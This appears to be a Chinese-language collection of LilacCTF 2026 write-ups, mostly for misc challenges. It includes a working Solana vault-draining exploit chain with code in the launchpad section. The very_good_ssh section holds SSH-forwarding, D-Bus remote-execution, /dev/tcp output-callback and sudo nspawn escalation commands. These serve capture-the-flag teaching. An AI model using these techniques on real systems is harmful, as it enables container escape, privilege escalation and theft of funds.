来源:web/safe-sql/LilacCTF 2026 WRITE-UP.docx、web/safe-sql/solve.py、
assets/redacted/safe_sql_1_redacted.png、assets/redacted/safe_sql_2_redacted.png、
assets/redacted/safe_sql_3_redacted.png、assets/redacted/safe_sql_4_redacted.png、
assets/redacted/safe_sql_5_redacted.png、assets/redacted/safe_sql_6_redacted.png、
assets/redacted/safe_sql_7_redacted.png、assets/redacted/safe_sql_8_redacted.png、
assets/redacted/safe_sql_9_redacted.png、assets/redacted/safe_sql_10_redacted.png、
assets/redacted/safe_sql_11_redacted.png
Misc
这一组跨度较大,既有 Solana 合约题,也有 OSINT 与交互小题。整理版会把关键约束与可复现步骤写清楚,未闭环题目则明确卡点。
Incident
这题是 Solana 合约题。 服务端会在一笔交易里执行我们提交的一组指令。 赢的条件是两个 vault 的 SPL Token 余额都归零。 初始化阶段 sol bank 的 vault 本来就是 0。 所以真正要清空的是 mint bank 的 liquidity vault。
仓库里对这题的记录更像一次排查日志。 主线不是直接贴最终 payload。 而是把哪些原语可用。 哪些原语被 runtime 拦下。 都整理成可复现的枚举与对照。
关键约束
约束不复杂,但都很硬,基本决定了解题只能一条链闭环。交易只给单笔执行窗口,
不能跨交易累积状态,签名上也只允许 user 这一把钥匙,任何额外 signer 都会触发 NotEnoughSigners。
金库 token account 的 delegate 与 close authority 都为空, collect_bank_fees 的收益也趋近于零,所以免签转账,关户回收,慢慢扣空这些路都走不通。
本地 sweep 在看什么
目录里有一份 local mode sweep 记录。 它把一批假设写成模式。 每个模式在本地沙盒跑一遍。 记录是否执行到末尾。 以及失败时的错误与日志关键词。
这些结果能快速排除大段错误方向。 如果某类原语被运行时直接拦下。 就没必要在那条路上继续堆复杂度。 反过来说。 如果某条路径能稳定通过账户约束。 才值得继续找最后一步的破口。
失败路线 直接借款
最直觉的方向是 borrow。 让 admin 的仓位出现负债。 再把 liquidity vault 的 token 转走。 但无抵押时会被 risk engine 拒绝。 日志里能看到 init health check 卡住。 因此单纯 borrow 无法消耗 vault。
这一类失败的共同点是。 借款指令本身会先转账。 但随后会做一次健康检查。 没有资产就无法通过。 所以即使能让 token 发生过一次转移。 也会因为整笔交易回滚而没有净效果。
失败路线 flashloan 借完不还
flashloan 阶段 borrow 会暂时跳过健康检查。 但 end_flashloan 会清理 flashloan 标记。 并重新跑一次健康检查。 因此只要 liabilities 还在。 交易会在收尾阶段失败。
这条路线想闭环。 要么在同一笔里把负债归还。 要么能让账户在收尾时看起来没有风险敞口。 仓库的多组模式尝试后。 仍然没有找到不需要 admin 签名的归还路径。
失败路线 在 flashloan 中迁移仓位
另一条常见思路是。
在 flashloan 期间把仓位迁移到新账户。
让旧账户带着负债结束。
新账户带着资产脱身。
但这版程序在 flashloan 期间禁止 transfer。
会报 AccountInFlashloan。
说明相关绕过在本版本已被补上。
失败路线 收手续费或走旁路 vault
仓库也测试了 collect_bank_fees。 结果 liquidity vault 没变化。 结合 setup 里的 fee 与 interest 近似为 0。 可以判断这条接口更像干扰项。 无法提供稳定的扣款副作用。
失败路线 伪造账户与改 owner
本题最像的危险原语是伪造 MarginfiAccount。 把 flashloan 标记直接置位。 从而绕过健康检查。 经典做法是先写入伪造结构体。 再用 system_program assign 把 owner 改到目标程序。
这条路线在本题里被两个 runtime 限制直接堵死。 第一类限制是 ModifiedProgramId。 程序拥有的账户无法通过 assign 改到别的 program id。 第二类限制是 ExternalAccountDataModified。 system owned 的账户我们又无法写数据。 因此写数据再改 owner 的伪造原语在这里不可用。
顺带还有一个容易踩的边界。
服务端只给 user 一把私钥。
如果你把某个非 user 账户标记成 signer。
交易签名阶段会直接抛 NotEnoughSigners。
这会让很多伪造 signer 的路线在最外层就死掉。
自检信息与推断
为了把猜测落到实处。 仓库脚本会把 vault token account 的关键字段解出来。 amount 是 1000000。 authority 是对应的 liquidity_vault_auth PDA。 delegate 与 close authority 都为空。 这使得 Tokenkeg 层面的捷径不存在。 必须让 marginfi 程序自己签名转出。
脚本也会把 bank 和 group 的关键字段 dump 出来。 例如 total_liability_shares 为 0。 risk_admin 与 metadata_admin 是默认地址。 这些都指向同一个结论。 初始化非常干净。 想靠边界条件做无抵押扣款并不现实。
当前进度与下一步方向
题面提示强调这不是 marginfi bug。 更像 incident 这一词指向的配置或部署问题。 一个合理方向是检查 upgradeable loader 的配置。 尤其是 programdata 与 upgrade authority。 另一个方向是继续枚举 receivership 与 liquidation 相关流程。 看是否存在无需 admin 签名即可让账户进入 receivership 的路径。 如果能让账户变得不健康。 再用权限较宽的 withdraw 或 repay。 也许能走到清空 vault。
脚本里用来推导 PDA 的核心函数如下。
def find_program_address(seeds, program_id):
for bump in range(255, -1, -1):
h = hashlib.sha256()
for s in seeds:
h.update(s)
h.update(bytes([bump]))
h.update(program_id)
h.update(b'ProgramDerivedAddress')
d = h.digest()
if not is_on_curve(d):
return d, bump
raise RuntimeError('no valid PDA found')
来源:misc/Incident/INCIDENT.md、misc/Incident/solve.py、misc/Incident/*_SWEEP.md
Residue
题目给了一份 logits 数据。 它对应 GPT2 Medium 在 84 个 token 位置上的打分矩阵。 直观上看。 这是把信息塞进模型输出分布里。 我们需要把多条隐藏通道拆开。 再把碎片对齐成可提交的内容。
这题的难点不是某一个通道太复杂。 而是多个通道共享同一份 logits。 每条通道只给出一部分线索。 并且线索之间存在对齐与归一化问题。 只做一次 decode 往往会得到看似合理的诱饵。
数据与对齐
核心附件是 target_logits.npy。
单条样本的形状是 84 乘 50257。
50257 是 GPT2 词表大小。
所以 tokenizer 必须与 GPT2 系列一致。
否则 decode 会整体错位。
后续任何通道都无法互相验证。
仓库脚本默认用 gpt2 或 gpt2-medium 的 tokenizer。
两者共享同一词表与编码规则。
但仍建议在本地先做一次自检。
把 argmax 的 token 序列 decode。
确认输出包含稳定的英文片段与可识别的 marker。
自检 argmax prompt
argmax 通道每位取最大 logit 的 token。 它通常是提示层。 不是最终答案本身。 但它有两个价值。 一是验证模型与词表对齐。 二是确认题目确实在可控字符集上做了隐写。
这一步如果输出完全不可读。 优先检查三件事。 numpy 的 dtype 是否是 float64。 tokenizer 是否能正确加载。 以及 decode 是否关闭了清理空格选项。
通道一 固定 rank 扫描
固定 rank 的思路很直接。 每个位置把 topK 候选按分数排序。 然后在所有位置都取同一个名次的 token。 最后把得到的 token 序列整体 decode。
扫一段 rank 以后会发现少数 rank 会出现关键 marker。 这些 marker 更像题目作者放出的拼图提示。 例如 OutputFLAG86。 StartControl。 RPKeyRA。 XOR2。 它们的共同特征是可重复出现。 并且与长度约束高度一致。
| 典型 rank | 现象 | 结论 |
|---|---|---|
| 41 | 出现 XOR2 与短片段 | 提供变换提示 |
| 441 | 出现 OutputFLAG86 与长串 | 暗示存在 86 长度窗口 |
| 1856 | 出现 fixedtrans 等关键词 | 用于消歧与校验 |
固定 rank 输出往往包含一段很长的 base64url 形态串。 但直接把它当答案提交很容易错。 更合理的定位是把它当材料层。 后续需要结合 residue 通道给出的起点与变换规则。
通道二 LSE residue
第二条主线是对每个位置做统计量。 例如对 logits 求 logsumexp。 再从 float64 表示里取低位残差。 把残差当作一个小范围的 rank。 再在 top256 或 top512 里按 rank 选 token。 最后 decode 出一段提示文本。
这一通道的作用主要是给出变换名与偏移线索。 例如 TransformPhaseX22。 以及指向 start 控制的短片段。 这类线索本身并不长。 但能显著缩小对齐空间。
对 residue 来说。 最常见的坑是位宽不一致。 脚本里既有取低 8 bit 的版本。 也有取更宽低位的版本。 不同位宽会把提示移动到不同位置。 导致你以为对齐正确。 实际窗口差了几个字符。
下面用显示公式把这条通道写成数据流。 其中 $l_{i,j}$ 是第 $i$ 位第 $j$ 个词的 logit。
$$ s_i = \log \sum_j e^{l_{i,j}} $$$$ r_i = \operatorname{lowbits}_k \bigl(\operatorname{u64}_{le}(s_i)\bigr) $$$$ \text{token}_i = \mathrm{topK}_i[r_i] $$这条链路的输出。 更像是指令和参数表。 而不是最终 payload。 仓库把已经确认错误的候选都写进了否定集合。 避免重复提交浪费次数。
通道三 max 与 lse 差分
仓库还记录了一条更像诱饵的通道。 它利用 max 与 logsumexp 的 float64 差异。 把信息映射到 ASCII85 可打印范围。 再做一次 a85decode。 最后得到一个 base64url 形态串。
这条链路的输出非常像可提交值。 但已经被确认不是最终答案。 它更适合当作题目在提示你。 信息确实藏在浮点表示层。 但不能只靠这一条通道闭环。
长度对齐是强信号
固定 rank 通道里出现 OutputFLAG86。 这是本题最强的结构提示。 它告诉我们存在一个 86 字符窗口。 并且窗口是从一条更长的 stream 里截取出来的。
residue 通道里出现的 StartControl 片段。 更像是在告诉你窗口起点应该怎么选。 仓库里同时尝试过多组起点。 也记录了不同位宽 residue 对起点的影响。
X22 变换与 top64 映射
另一个反复出现的提示是 TransformPhaseX22。 仓库把它解释成逐字节 XOR 0x22 的变换。 把一段 84 长度材料变换后。 大量字节会落在 0 到 63。 于是可以把它解释成每位的 top64 rank。 再按 rank 在 top64 候选里取 token 并 decode。
这一思路能产出一个带题面前缀形态的候选字符串。 但候选里可能包含符号。 平台对字符集的限制也可能更严格。 所以仓库还准备了归一化与再对齐的后续尝试。 所有已提交失败的版本都会进入否定集合。
提交版整理
汇总版不输出任何具体候选。
只保留可复验的链路与核心原语。
提交内容统一写为 LilacCTF{...} 占位。
固定 rank decode 的核心片段如下。
import numpy as np
def decode_fixed_rank(logits, rank, tokenizer):
ids = np.argsort(-logits, axis=1)[:, rank]
return tokenizer.decode(ids.tolist())
prompt = decode_fixed_rank(logits, 0, tok)
stream = decode_fixed_rank(logits, 441, tok)
来源:misc/Residue/Residue.md、misc/Residue/to_gamer.md、misc/Residue/to_gamer/solve_*.py、misc/Residue/new/solve.py、misc/Residue/to_gamer/wrong_flags.md
Sky is Ours
题目概览:OSINT 地理定位题。给一组机窗或航拍图,需要定位拍摄地点并进一步推断航线与航班信息,最后按题面格式提交。
证据链拆解
先看地标。 海湾与跨海桥再加城市天际线的组合很稳定。 轮廓与结构更像星海湾跨海大桥。 因此优先把城市候选锁定到大连方向。
再看细节。 桥梁的走向和岸线弯折能确定拍摄方向。 用这些细节排除相似桥梁。 同时也能确认照片对应的航线方位。
随后把背景信息纳入推断。 题面与比赛背景常会暗示出发地范围。 这一步能把航线候选进一步收敛。
时间信息用于确定阶段。 题面日期配合日照角度。 更像白天接近降落的窗口。 这会影响航线方向与航班筛选。
最后用航司与机型特征做最后一轮筛选。 机身涂装与机型外观能把候选压到很小。 组合起来就能得到唯一航班号。
定位步骤
先把桥梁形态与海湾轮廓对齐,初步锁定为大连星海湾跨河大桥 先把图中最稳定的地标抽出来,优先用桥梁与海湾轮廓做粗定位 再用桥头道路形态与周边建筑分布做二次确认,避免只靠一张桥图误判 定位完成后再回到原图检查拍摄角度,确保航线方向与地标相容
航班推断
结合起飞城市先验与降落方向,把候选航线收敛到少量城市对 用日期与白天光照给出时间窗口,再在航班时刻表里筛选候选 用航司与机型外观继续排除,最后得到唯一航班号
提交格式与脱敏
最终提交为航班号与题面前缀组合,本文仅保留占位符形式 LilacCTF{...}
exp 核心片段
先抓最稳定的地标
再对齐桥梁走向与岸线弯折
最后用拍摄方向与日照角度做交叉验证




来源:主:部分writeup/lilacctfmisc/XCTF.md;补:misc/Sky/_media_file_task_*.zip
launchpad
这题是 Solana Anchor 合约题。 服务端在链上执行你提交的一组指令。 整笔交易只用 user 这一把私钥签名。 目标是让全局金库的某个 ATA 余额归零。
题目目标与初始状态
金库地址是 ATA(global_pda, fee_mint)。
它同时被当作 fee_vault 与 faucet_vault 使用。
初始化时真实 faucet 会往同一个 vault 放两笔资金。
第一笔是 faucet 可领取的总量。 第二笔是创建 faucet 时转入的 create_fee。 所以 vault 的真实初始值不是 500 而是 600。
$$ vault_0 = 50 \\times 10 + 100 = 600 $$题目校验的是 vault 是否为 0。 因此最后必须把 600 一次性转走。 只转走 500 会卡在校验里。
交互与签名约束
交互分三步。
先做工作量证明。
再上传 solve.so。
最后提交一组 Solana Instruction 的 JSON。
最关键的约束是签名者只有 user。
交易层面无法再带第二个普通 signer。
要构造第二身份只能依赖 PDA。
PDA 没有私钥。
只能在程序内部用 invoke_signed 扮演 signer。
这也解释了为什么解法里会有两套代码。 一套在本地构造指令与交互上传。 一套在链上完成 PDA 签名的 CPI 调用。
关键账户与派生关系
这题用到的 PDA 与状态对象不多。 但种子关系决定了哪些绑定是稳的。 哪些绑定可以被绕开。
| 名称 | 派生 seeds | 作用 |
|---|---|---|
global_pda |
global |
全局参数与 vault owner |
emulate_clock |
emulate_clock |
模拟时间推进 |
faucet_pda |
faucet 加 mint |
faucet 配置与计数 |
user_pda |
user 加 authority |
质押与解锁时间 |
claim_request |
claim_request 加 faucet_pda 加 user_pda |
批量领取依据 |
曲线上公钥是普通 keypair。
曲线外公钥常见于 PDA。
题目的 no_pda 防护就是在拒绝曲线外的 owner。
漏洞点
核心漏洞是 claim_request 与 faucet 的绑定不完整。 它由两个缺失的校验叠在一起。 单独看任意一个都不够直接读出 flag。 拼起来才会出现一次性转走 600 的通路。
第一处缺失在 CreateClaimRequest。
handler 会把 amount 写成 faucet.per_user_amount。
同时会把 receipt 写成你传入的 token account。
但它没有强制校验 receipt 的 mint 等于 faucet.mint。
于是 amount 可以来自恶意 faucet。
receipt 却可以绑定到真实 mint。
第二处缺失在 claim_batch。
它会用 claim_request 里存的 faucet 与 user 推导 PDA。
并要求 claim_request 地址匹配推导结果。
但它没有校验 claim_request 里记录的 faucet
等于这次调用上下文里的 faucet。
真正转账会从上下文里的 faucet_vault 扣除。
把这段逻辑缩成伪代码更直观。
// claim_batch
let cr = load_claim_request(claim_request)?;
let expected = pda("claim_request", cr.faucet, cr.user);
require_keys_eq!(expected, claim_request.key());
require_keys_eq!(cr.receipt, receipt.key());
// missing: require_keys_eq!(cr.faucet, ctx.faucet.key())
transfer_checked(from = ctx.faucet_vault, to = receipt, amount = cr.amount);
所以我们想要的是。
让 cr.amount = 600。
让 cr.receipt 指向真实 mint 的 token account。
再把这个 cr 丢进真实 faucet 的 claim_batch。
转账就会从真实 vault 转出 600。
no_pda 检查与 SetAuthority 绕过
真实 faucet 设置了 no_pda = true。
检查点不在 signer。
而是落在 receipt token account 的 owner 是否在曲线上。
PDA 一定是曲线外点。
因此 receipt 的 owner 不能是 PDA。
绕过方式是临时切换 owner。
在调用 claim_batch 前把 receipt owner 改成外部 user。
领取完成后再把 owner 改回 auth_pda。
切换用的是 SPL Token 的 SetAuthority。
当 owner 为 PDA 时只能靠 invoke_signed 完成签名。
这一段绕过会反复出现两次。 第一次是为了让第二身份拿到 50。 第二次是为了让大额 600 能从真实 vault 转出。
利用链按资金流展开
利用链可以按三段理解。 第一段凑 create_fee 的 100。 第二段创建恶意 faucet 把 vault 补回 600。 第三段跨 faucet 领取把 vault 清到 0。
Phase A 拿到 100 fee token
真实 faucet 的单次领取上限是 50。 同一个 authority 只能走一次同样的领取流程。 想凑 100 就必须有第二身份。
但服务端只给 user 单签名。
交易里无法直接带第二个 keypair。
所以第二身份必须是 PDA。
解法里一般用 auth_pda = PDA(seed = auth)。
并在 solve 程序里用 invoke_signed 驱动它。
第一笔 50 用 user 自己走 simple_claim。
需要先 create_user 过质押门槛。
再用 tweak_emulate_clock 推进时间绕过 delay。
领取后 vault 从 600 变成 550。
随后需要 close_user 回收质押的 lamports。
否则后续创建账户与转账会缺钱。
close_user 有 unlock 时间要求。
同样用 tweak_emulate_clock 把时间推进到可关闭。
第二笔 50 用 auth_pda 走
create_claim_request 加 claim_batch。
这条路径会触发 no_pda 检查。
所以在 claim_batch 前临时把 receipt owner 切到 user。
领取完成后再切回 auth_pda。
再把这 50 转给 user 汇总成 100。
这一段可以用余额表快速对齐。
| 时刻 | vault 余额 | user 持有 fee token | 说明 |
|---|---|---|---|
| 初始 | 600 | 0 | 初始化完成 |
| 第一次领取后 | 550 | 50 | user 走 simple_claim |
| 第二次领取后 | 500 | 100 | auth_pda 走 claim_batch 并汇总 |
Phase B 创建恶意 faucet
有了 100 以后就能创建自己的 faucet。
创建 faucet 会扣 create_fee。
而 create_fee 会转入同一个 ATA(global_pda, fee_mint)。
也就是把 vault 重新加回 100。
因此 vault 会从 500 回到 600。
恶意 faucet 的参数只需要满足一件事。
让 per_user_amount = 600。
再把 max_claim_cnt 设小一点减少干扰。
时间参数可以设为 0 方便调用。
Phase C 跨 faucet 领取清空 vault
这一步用到前面两处绑定缺失。
先对恶意 faucet 创建 claim_request。 让 amount 从恶意 faucet 里取。 也就是直接写成 600。 同时把 receipt 指向真实 mint 的 token account。 CreateClaimRequest 不校验 mint 绑定。 所以这一步能成功落盘。
然后在真实 faucet 上调用 claim_batch。
把 ctx.faucet 与 ctx.faucet_vault 都填真实的。
但把 remaining 里的 claim_request 换成恶意的。
claim_batch 不校验 cr.faucet == ctx.faucet。
于是会从真实 vault 按 600 转账到 receipt。
vault 余额归零触发服务端条件。
这一步同样需要过 no_pda。
因此在调用前把 receipt owner 临时切到 user。
领取后再切回 auth_pda。
否则会被曲线检查直接拒绝。
为了更明确地展示关键错配。 下面把两条指令的字段对齐放在一起。
create_claim_request
faucet = faucet_evil
amount source = faucet_evil.per_user_amount
receipt = ATA(auth_pda, fee_mint)
claim_batch
ctx.faucet = faucet_real
ctx.faucet_vault = ATA(global_pda, fee_mint)
remaining = claim_request_evil, receipt_real_mint
实现要点
这题看起来长。 但真正容易出错的点集中在三处。
一处是 solve 程序 id 必须与服务端常量一致。 不一致会在上传后直接被拒绝。
一处是 owner 切换的顺序。 receipt 既要能被 PDA 操作。 又要在 claim_batch 前满足曲线检查。 把 SetAuthority 放错位置会导致卡在约束里。
最后一处是余额与时间。 Phase A 结束时 vault 必须是 500。 Phase B 创建恶意 faucet 后 vault 必须回到 600。 任意一步少推进一次时间都会让 create_user 或 close_user 失败。
最终指令序列
实际提交给服务端的是一串 Instruction。 顺序非常敏感。 尤其是时间推进与 owner 临时切换。 这里按一次成功闭环的顺序给出对照。 表里省略了创建 ATA 一类可重复执行的细节。
| 顺序 | 指令 | 执行者 | 目的 |
|---|---|---|---|
| 1 | create_user |
user | 通过质押门槛 |
| 2 | tweak_emulate_clock |
user | 绕过领取延迟 |
| 3 | simple_claim |
user | 领取第一笔 50 |
| 4 | tweak_emulate_clock |
user | 推进到可关闭 |
| 5 | close_user |
user | 回收 lamports |
| 6 | transfer |
user | 给 auth_pda 准备手续费 |
| 7 | create_user |
auth_pda |
创建第二身份对应的 user_pda |
| 8 | create_claim_request |
auth_pda |
为真实 faucet 建请求 |
| 9 | SetAuthority |
auth_pda |
receipt owner 临时切到 user |
| 10 | claim_batch |
user | 领取第二笔 50 |
| 11 | transfer |
auth_pda |
把 50 汇总给 user |
| 12 | create_faucet |
user | 付 create_fee 并设 per_user_amount = 600 |
| 13 | create_claim_request |
auth_pda |
用恶意 faucet 写入 amount 600 |
| 14 | SetAuthority |
auth_pda |
再次临时切 owner 过曲线检查 |
| 15 | claim_batch |
user | 在真实 faucet 上消费恶意请求清空 vault |
表里的 transfer 同时代表两类转账。
一类是给 auth_pda 预存 lamports。
一类是把领取到的 fee token 汇总回 user。
复现时如果 vault 余额没有回到 600。 优先检查 create_fee 是否确实转入了 vault。 也优先检查是否漏做了一次时间推进。
核心 exp 代码段
核心是 PDA 派生与构造错配的 claim_batch。 下段代码来自脚本里的关键部分。
import hashlib
PDA_MARKER = b"ProgramDerivedAddress"
def find_program_address(seeds, program_id):
seed_blob = b"".join(seeds)
for bump in range(255, -1, -1):
h = hashlib.sha256(seed_blob + bytes([bump]) + program_id + PDA_MARKER).digest()
if not ed25519_is_valid_point(h):
return h, bump
raise RuntimeError("no viable PDA bump found")
# 关键错配点
# 先用恶意 faucet 生成 claim_request
ixs.append(build_create_claim_request_ix(
authority=auth_pda,
user_pda=auth_user_pda,
global_pda=global_pda,
fee_mint=fee_mint,
fee_vault=vault,
user_fee_ta=auth_fee_aux_ta,
faucet=faucet_evil,
faucet_mint=fee_mint,
claim_request=claim_request_evil,
receipt=receipt_real_mint,
))
# 再在真实 faucet 上 claim_batch
ixs.append(build_claim_batch_ix(
global_pda=global_pda,
faucet=faucet_real,
faucet_mint=fee_mint,
faucet_vault=vault,
emulate_clock=emulate_clock,
remaining=[(claim_request_evil, receipt_real_mint)],
))
来源:misc/launchpad/launchpad.md、misc/launchpad/launchpad/solve_*.py
very_good_ssh
题目给一个 SSH 入口。 登录后会被强制进入 systemd-nspawn 的 rootfs 容器。 容器里显示是 root。 但缺少 CAP_SYS_ADMIN。 因此无法按题面要求完成 9p 挂载。
解题关键是 SSH 转发由宿主机 sshd 处理。 即使交互 shell 在容器里。 转发依然可以访问宿主机上的 Unix socket。 把 user bus 转发到本地后。 用 D-Bus 控制宿主机的 user systemd。 就能在宿主机以普通用户执行命令。 再结合 sudo 规则启动 nspawn 指向宿主机根目录。 最后在宿主机 root 视角挂载 9p 读取 flag。
现象与边界
题面要求的读法依赖 9p 挂载。
容器里缺少 mount 所需能力会直接失败。
最直观的证据通常是 /run/host 存在。
以及 CapEff 里看不到 CAP_SYS_ADMIN。
这一题的目标不是利用 sshd 漏洞。 而是利用 SSH 自带的转发特性。 把宿主机的控制面拉到本地。
容器侧的自检可以更系统一些。 目标是确认自己确实在 nspawn 环境里。 以及确认 mount 类操作会被 capability 拒绝。
| 观察点 | 位置 | 说明 |
|---|---|---|
| 宿主机痕迹 | /run/host |
能看到宿主机信息代表当前是容器 |
| capability | /proc/self/status |
CapEff 没有 CAP_SYS_ADMIN 就无法 mount |
| 题面命令 | 9p mount | 在容器里执行会直接失败 |
确认边界以后。 就不再在容器里做提权尝试。 而是把注意力放在宿主机侧可触达的控制面。
为什么转发能越过容器
本题通常会把 ssh 登录的交互 shell 强制丢进容器。 这会让你误以为自己只拥有容器内的视角。 但 SSH 的转发是由宿主机 sshd 创建和维护的。 它发生在分配交互 shell 之前。 也独立于后续的 ForceCommand 或登录脚本。
因此只要 sshd 进程还在宿主机上运行。 你就可以用转发去访问宿主机上的 Unix socket。 这也是题面强调 ssh 是关键功能的原因。
信息流与执行面
为了避免把容器与宿主机混在一起。 可以把解题过程理解成三条通路。
| 通路 | 从哪里发起 | 到哪里生效 | 用途 |
|---|---|---|---|
| 交互 shell | 容器 | 容器 | 只用于确认环境 |
| SSH 转发 | 本地 | 宿主机 sshd | 访问宿主机 socket |
| D-Bus 调用 | 本地 | 宿主机 user systemd | 执行命令与提权 |
实际操作里。 容器侧只需要做最小的自检。 真正的执行与回显都在本地完成。
两条隧道的分工
这题最少需要两条隧道。 一条把 user bus 从宿主机带出来。 一条把输出从宿主机打回本地。
| 隧道 | 方向 | 作用 |
|---|---|---|
-L 转发 |
本地到宿主机 | 把 /run/user/UID/bus 变成本地端口 |
-R 转发 |
宿主机到本地 | 给 transient unit 提供回显通道 |
如果你只做了 user bus 的转发。 命令确实会在宿主机跑起来。 但你会看不到任何输出。 很容易误判为 D-Bus 调用失败。
关键原语一 转发宿主机 user bus
宿主机的 user D-Bus 通常在 /run/user/UID/bus。
把这个 Unix socket 转发到本地端口后。
本地就能连到宿主机的 user bus。
uid 一般可以从容器里看到 /run/user 下的目录名。
也可以先用一次转发试探。
能连通就继续往下做。
建议给转发加两个选项。 一个是失败即退出避免后台假通。 一个是 keepalive 避免长时间断链。
这里有一个容易忽略的细节。 user bus 的认证依赖对端看到的 uid。 我们把 Unix socket 转成了 TCP 端口。 所以本地侧需要主动声明正确的 uid。 否则会在认证阶段直接失败。
关键原语二 StartTransientUnit 执行宿主机命令
有了 user bus。
就能调用 user systemd 的 StartTransientUnit。
它等价于在宿主机以该用户启动一次性服务。
因此可以稳定执行 id 与 sudo -l 做探测。
这里选 user systemd 是因为权限模型更简单。 system bus 往往要额外授权。 很容易在调用阶段直接 Permission denied。
D-Bus 调用细节
仓库用 dbus-next 去调用 org.freedesktop.systemd1。
关键点是 AUTH EXTERNAL 的 uid 必须正确。
一般就是 UID = 1000 这一类值。
如果你直接用本机 uid。
会在认证阶段卡住或被拒绝。
另一个常见坑是 D-Bus 的类型签名。
ExecStart 的签名是 a(sasb)。
在 dbus-next 里 struct 要用 list 表示。
如果写成 tuple。
会报 SignatureBodyMismatchError。
把输出带回本地
transient unit 没有交互输出。 需要自己搭一条回显链路。
最省事的做法是再建一条反向转发。
让宿主机连接 localhost:CB_PORT 时实际连回本地。
命令里用 /dev/tcp 把输出写回去即可。
回显链路的本质是把 stdout 与 stderr 都导向同一个 fd。
这样就不用在宿主机落地文件。
也不需要在容器里开额外端口。
只要本地 nc 在监听。
就能把 id 与 sudo -l 的结果拿回来。
宿主机提权与 9p 挂载
当你能拿到宿主机侧的 sudo -l 输出。
通常会看到允许免密运行 systemd-nspawn 的规则。
用它启动一个指向宿主机根目录的容器环境。
即可获得宿主机 root 视角。
进入宿主机 root 后。
按题面命令挂载 9p。
再从挂载目录读取目标文件。
就能得到可提交的 LilacCTF{...}。
systemd-nspawn 与 9p 的最后一跳
直接对宿主机根目录运行 nspawn。
常见会遇到 Spawning container on root directory is not supported.。
这个错误不是权限问题。
而是 nspawn 对根目录的限制。
加 --volatile=yes 就能绕过这一点。
为了让 transient unit 下的输出更稳定。
建议加 --settings=no 与 -P。
前者避免宿主机存在额外配置导致行为漂移。
后者把 console 绑定成 pipe。
避免 nspawn 等待不可用的 tty。
9p 的文件名通常不是固定写死。 更稳的做法是读取一个匹配前缀的文件名。 然后再输出其中内容。
容易误判的点
如果题面提示要等几分钟。 最好真的等系统服务起来。 否则你会遇到转发已建立但 bus 不可用的假象。
如果第二次 ssh 提示 rootfs busy。 这是强提示宿主机在管理 rootfs。 方向应该转到控制面。 而不是在容器里继续找提权点。
如果 StartTransientUnit 返回成功但没有回显。
优先检查 -R 反向转发是否建立。
也检查命令里是否把 stdout 与 stderr 都写回了 fd。
如果 sudo 规则不匹配。
最明显的表现是命令会等待输入密码。
把 sudo 换成 sudo -n 会直接报错。
这比卡住更容易定位问题。
核心 exp 代码段
# 1. 转发宿主机 user bus
sshpass -p PASS ssh -p PORT -fN \
-o ExitOnForwardFailure=yes \
-o ServerAliveInterval=30 -o ServerAliveCountMax=3 \
-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
-L 40094:/run/user/UID/bus \
USER@HOST
# 2. 建立反向转发并在本地监听回显
nc -l 45678
sshpass -p PASS ssh -p PORT -fN \
-o ExitOnForwardFailure=yes \
-o ServerAliveInterval=30 -o ServerAliveCountMax=3 \
-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
-R 45678:localhost:45678 \
USER@HOST
# 3. 通过 D-Bus 触发宿主机执行并回显
python3 - <<'PY'
import asyncio
from dbus_next.aio import MessageBus
from dbus_next.auth import AuthExternal
from dbus_next.signature import Variant
UID = 1000
BUS_PORT = 40094
CB_PORT = 45678
class AuthExternalUid(AuthExternal):
def __init__(self, uid: int):
super().__init__()
self._uid = uid
def _authentication_start(self, negotiate_unix_fd=False) -> str:
self.negotiate_unix_fd = negotiate_unix_fd
return f"AUTH EXTERNAL {str(self._uid).encode().hex()}"
async def main():
bus = await MessageBus(
bus_address=f"tcp:host=localhost,port={BUS_PORT}",
auth=AuthExternalUid(UID),
).connect()
intro = await bus.introspect("org.freedesktop.systemd1", "/org/freedesktop/systemd1")
obj = bus.get_proxy_object("org.freedesktop.systemd1", "/org/freedesktop/systemd1", intro)
mgr = obj.get_interface("org.freedesktop.systemd1.Manager")
cmd = rf"""
exec 3<>/dev/tcp/localhost/{CB_PORT}
echo "==id==" >&3
id >&3 2>&3
echo "==sudo -l==" >&3
sudo -n -l >&3 2>&3 || true
"""
execstart = [["/bin/bash", ["/bin/bash", "-lc", cmd], False]]
props = [
["Description", Variant("s", "ctf oneshot")],
["ExecStart", Variant("a(sasb)", execstart)],
["Type", Variant("s", "oneshot")],
]
await mgr.call_start_transient_unit("ctf-oneshot.service", "replace", props, [])
asyncio.run(main())
PY
来源:misc/ssh/very_good_ssh.md
Welcome
题目概览:给一段十六进制字符串,前缀 78 9c 明显是 zlib。
特征识别
78 9c 是常见 zlib 头,通常对应 deflate 压缩流
因此直接把整段十六进制当作 zlib 数据处理即可
解法步骤
把十六进制字符串转为原始 bytes
对 bytes 做 zlib 解压
得到明文后按题面格式提交 LilacCTF{...}
常见坑点
处理时不要把中间换行或空格当作数据内容 若解压结果含不可见字符,优先按 bytes 处理再做编码判断
exp 核心片段
import binascii
import zlib
hex_s = "789c..." # 题面十六进制
raw = binascii.unhexlify(hex_s)
pt = zlib.decompress(raw)
print(pt.decode(errors="replace"))

来源:部分writeup/lilacctfmisc/XCTF.md
Questionnaire
题目概览:问卷/签到类,交互即出 flag。
提交版解法
按页面提示完成问卷或签到交互
提交后页面会显示可提交内容,按题面格式提交 LilacCTF{...}
隐私与合规建议
不要填写真实姓名手机号邮箱等个人信息 若题面要求填写字段,使用与解题无关的占位文本即可
排障要点
若提交后无回显,检查是否漏填必填项 若页面有多步,确保最后一步点击确认提交而不是只保存草稿
exp 核心片段
按题面进入问卷页面
完成必填项并提交
回显页面给出可提交字符串
来源:部分writeup/lilacctfmisc/XCTF.md
Your GitHub, mine
题目概览:GitHub Classroom 与自动验收类交互题。核心是按要求创建仓库并完成指定配置,使后台验收通过并返回可提交内容。
提交版流程
按题面给的 GitHub Classroom 邀请入口接受任务,生成个人仓库
在仓库设置中把仓库改为公开,满足题面要求的可见性条件
连接题目给的交互入口,按菜单创建或登记仓库信息
在仓库的 Issue 区域编辑指定条目,把描述内容改为 @lilacctf-tech 形态的验收标记
回到交互入口触发 check,等待平台验收通过并返回可提交内容
验收点对照
仓库可见性需要是 public。 常见失败是设置未保存或生效延迟。
Issue 标记需要在指定位置包含提及文本。 常见失败是改了错误位置。 或修改后没有提交变更。
